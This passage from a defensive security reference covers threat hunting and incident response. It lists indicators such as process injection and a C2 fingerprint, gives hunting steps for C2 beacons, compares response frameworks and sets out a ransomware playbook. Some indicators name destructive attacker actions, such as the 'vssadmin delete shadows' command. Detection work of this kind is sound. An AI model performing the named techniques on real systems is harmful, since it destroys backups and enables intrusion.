| Process injection | CreateRemoteThread / NtCreateThreadEx into svchost, rundll32, explorer | Sysmon Event 8, EDR injection telemetry |
| Memory indicators | PE with no backing file on disk, MZ header in non-module memory region | EDR memory scanning, Volatility |
| JARM fingerprint | C2 server JARM: 07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1 | JARM scanning tool against suspected C2 IPs |
## STEP 1: Find regular beacon intervals # Group outbound connections by src_ip + dst_ip + dst_port # Calculate standard deviation of time deltas # Flag: stddev < 10s for connections > 20 occurrences ## STEP 2: Flag low-data-volume periodic connections # Heartbeat beacons: ~500 bytes each, very consistent size # Cobalt Strike default: ~96 bytes GET, ~200 byte response ## STEP 3: Hunt for suspicious TLS characteristics # Self-signed cert on an IP (no domain or newly registered domain) # Certificate validity > 1 year issued to generic/random OU # JA3 hash matching known C2 signatures (feed from threat intel) ## STEP 4: Correlate with endpoint telemetry # Parent: which process is making the connection? # svchost.exe / rundll32.exe connecting to external IPs = red flag # Unsigned binary making outbound HTTPS = investigate ## STEP 5: DNS-based C2 hunting # High volume DNS queries from single host # Subdomains with high entropy (random-looking labels) # TXT record queries — common C2 data channel # Queries for newly registered / low-rep domains
Incident Response follows a structured lifecycle. The NIST SP 800-61r2 model is the most widely adopted; SANS PICERL is more granular. All frameworks share the same core loop: detect → contain → eradicate → recover → improve.
| Framework | Phases | Notes |
|---|---|---|
| NIST SP 800-61r2 | Preparation → Detection & Analysis → Containment, Eradication & Recovery → Post-Incident | US government standard; widely adopted globally |
| SANS PICERL | Preparation → Identification → Containment → Eradication → Recovery → Lessons Learned | More granular — splits detection into Identification phase |
| ISO/IEC 27035 | Plan & Prepare → Detect & Report → Assess & Decide → Respond → Lessons Learnt | International standard; integrates with ISO 27001 ISMS |
A structured playbook for responding to ransomware incidents. Do not follow steps in isolation — run detection, isolation, and preservation in parallel where possible. Evidence preservation is time-critical.
| Phase | Action | Notes |
|---|---|---|
| 1. Detect | ||
| Identify | Confirm ransomware via ransom note, encrypted file extensions, bulk rename events | Check for vssadmin delete shadows in process events |
| Classify | Identify family using extension, ransom note format, ID Ransomware website | Check nomoreransom.org for free decryptors first |
| 2. Isolate | ||
| Network Isolate | Immediately disconnect affected hosts from network — do NOT power off | Preserve memory for forensics; some ransomware has kill switches that wipe on reboot |
| Scope | Identify all affected systems via SIEM / EDR search for encryption indicators | Check file server access logs for mass read/write patterns across shares |
| 3. Preserve | ||
| Memory Capture | Capture RAM from affected systems (Magnet RAM Capture, WinPmem) | Ransomware encryption keys, C2 URLs, and injected code may only exist in memory |
| Forensic Image | Image affected disk before any cleanup | Required for legal proceedings; use hardware write blockers |
| Collect Logs | Pull SIEM, EDR, firewall, DNS, proxy, VPN logs immediately | Collect before retention windows expire or attacker clears them |
| 4. Investigate | ||
| Determine Entry Point | Trace back to initial access: phishing? RDP brute-force? Vulnerable VPN? Supply chain? | Check email gateway, VPN logs, external firewall for earliest suspicious activity |
| Map Timeline | Build full attack timeline: initial access → C2 → persistence → lateral movement → encryption | Use SIEM, EDR telemetry, and MFT ($MFT) timestamps for accuracy |
| 5. Notify | ||
| Internal | Alert management, legal, IT leadership per incident escalation matrix | Document all communications and decisions with timestamps |
| Regulatory | Assess mandatory notification requirements (PDPA, GDPR, HIPAA) within required timeframes | Singapore MAS: notification within 1 hour for significant incidents |
| Law Enforcement | Report to relevant agencies (SingCERT, FBI, CISA) as appropriate | Required for critical infrastructure; enables ransom payment tracking |
| 6. Eradicate & Recover | ||
| Check Persistence | Audit all persistence locations before restoring (§04.04) | Ransomware groups maintain backdoors to re-encrypt if paid |
| Reset Credentials | Reset ALL domain accounts — service accounts, admin accounts, and krbtgt (twice) | Assume all credentials on affected systems are fully compromised |
| Rebuild / Restore | Rebuild from known-clean images; restore data from offline backups only | Validate backup integrity before reconnecting to network |
| Patch Entry Point | Patch the vulnerability that enabled initial access before going live | Same entry point is reused in 80%+ of ransomware re-infections |